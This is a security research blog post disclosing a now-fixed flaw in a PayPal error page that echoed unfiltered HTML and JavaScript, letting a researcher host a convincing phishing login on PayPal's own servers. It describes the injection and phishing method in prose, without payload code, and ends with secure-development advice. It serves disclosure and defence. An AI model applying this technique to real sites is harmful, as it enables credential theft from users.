CA Security Advisor Research Blog

Take a close look at this image.  You can click to enlarge it.

It looks like the PayPal login page, but some things are off. For one, the title is "Login - PayPal Phishing Proof of Concept". That is because this isn't the PayPal login page at all, but a Phishing proof of concept. It was hosted on PayPal's servers and secured with PayPal's security certificates, but I had complete control over all the HTML, including where the login form sent usernames and passwords. This page would not have been caught by any of today's anti-phishing programs, because thanks to a vulnerability, PayPal itself was serving this page.

Thankfully, the people we contacted at PayPal were responsive and the vulnerability was resolved within minutes. To our knowledge, their quick action prevented any customers from coming to harm as a result of this vulnerability, and we applaud their speedy and responsible action on this issue. It serves as a reminder, however, of the importance of secure development when web sites are being brought online, and the importance of speedy reaction when vulnerabilities are discovered.

This vulnerability stemmed from an error jsp designed for server-side inclusion. When a page on paypal needed error messages to display, it could call this jsp and pass in the message it wanted via the err_message variable. The jsp would return that same message, formatted in a yellow box with an exclamation point graphic in front of it. This jsp was, however, open to the public in addition to being callable by other PayPal pages. The photograph below shows an example of a simple "Hello World" message being passed in to it:

This page was initially forwarded to me as a joke, with people exploiting it to make PayPal return humorous or insulting error messages. Some quick tests, however, indicated no checks were being performed on the input. The JSP wasn't differentiating between POST and GET variables, and did not filter the contents of this variable at all. This meant that HTML and Javascript could be passed in place of "Hello World", and they would be inserted verbatim into the returned page at a fixed location.

It may not seem like much, but this is all that someone needs in order to perform all sorts of mischief. Browser exploit code could have been posted, causing visitors to download and run malware. The real risk associated with this type vulnerability, however, is phishing. If the right code was passed in, the yellow box and error message can be hidden, and the contents of any other PayPal page could be displayed in their stead, modified in order to return login details or other personal information to a third party server. Since the page is being generated and returned by PayPal's servers, however, automated anti-phishing programs and even casual user inspection would reveal nothing wrong. In all aspects other than the URL path and aspects of the source code, the page would be indistinguishable from a legitimate login form. It would even be retuned over an https connection secured with PayPal's security certificates:

Thankfully, in PayPal's case, the malicious exploit of this vulnerability seems to have been avoided. Similar vulnerabilities almost certainly exist across the web, however, and we want to take this opportunity to urge web application developers to follow stringent security practices. Follow a least-access approach, preventing outside users from being able to request objects which are designed as server-side includes, and always perform checks on your input to remove potentially harmful HTML and Javascript.